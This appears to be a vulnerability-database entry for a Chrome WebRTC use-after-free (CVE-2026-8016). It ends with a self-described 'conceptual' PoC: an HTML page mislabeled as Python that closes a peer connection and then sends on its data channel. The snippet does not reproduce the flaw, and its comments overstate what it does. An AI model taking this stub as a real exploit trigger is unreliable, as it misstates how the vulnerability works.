Use after free in WebRTC in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: Low)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
PoC Concept for CVE-2026-8016 (WebRTC UAF)
This is a conceptual demonstration, not an actual exploit.
-->
<!DOCTYPE html>
<html>
<head>
<title>WebRTC UAF PoC Concept</title>
</head>
<body>
<script>
// Step 1: Create a WebRTC PeerConnection
const pc = new RTCPeerConnection();
// Step 2: Create a data channel to trigger specific object lifecycle
const dataChannel = pc.createDataChannel("exploit");
// Step 3: Attempt to trigger the race condition / UAF scenario
// In a real scenario, specific timing and object manipulation would be required here.
function triggerUAF() {
try {
// Simulate the sequence that leads to Use-After-Free
// 1. Reference the object
let ref = dataChannel;
// 2. Perform actions that might lead to free (simulated)
pc.close();
// 3. Attempt to access the reference (The Vulnerability)
// This line would crash the browser or execute code in the real vulnerability
ref.send("trigger");
} catch (e) {
console.log("Exception caught: " + e.message);
}
}
// Trigger the function on load
window.onload = triggerUAF;
</script>
<h1>CVE-2026-8016 PoC Concept</h1>
<p>Check console for results.</p>
</body>
</html>